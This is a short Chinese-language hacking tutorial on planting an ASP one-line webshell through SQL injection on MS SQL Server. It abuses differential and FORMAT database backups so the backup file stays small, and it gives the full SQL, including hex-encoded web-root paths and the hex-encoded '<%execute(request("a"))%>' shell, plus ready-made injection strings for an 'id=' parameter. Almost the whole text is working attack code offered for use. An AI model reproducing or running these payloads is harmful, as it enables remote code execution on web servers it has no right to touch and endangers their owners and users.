作者: Jambalaya
減少備份文件大小，得到可執(zhí)行的webshell成功率提高不少
一利用差異備份
加一個(gè)參數(shù)WITH DIFFERENTIAL
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一個(gè)參數(shù)WITH FROMAT
有些頁(yè)面對(duì)數(shù)據(jù)庫(kù)要執(zhí)行幾次，而備份又默認(rèn)是每次都以追加的方式，如果一個(gè)注入點(diǎn)對(duì)數(shù)據(jù)庫(kù)有幾次操作，而備份的文件就 幾倍的增加，所以
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

總的來(lái)說(shuō)就是那么簡(jiǎn)單幾句,下面以備份數(shù)據(jù)庫(kù)model為例子
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
2
id=1;backup database model to disk='你的路徑‘ with differential,format;--

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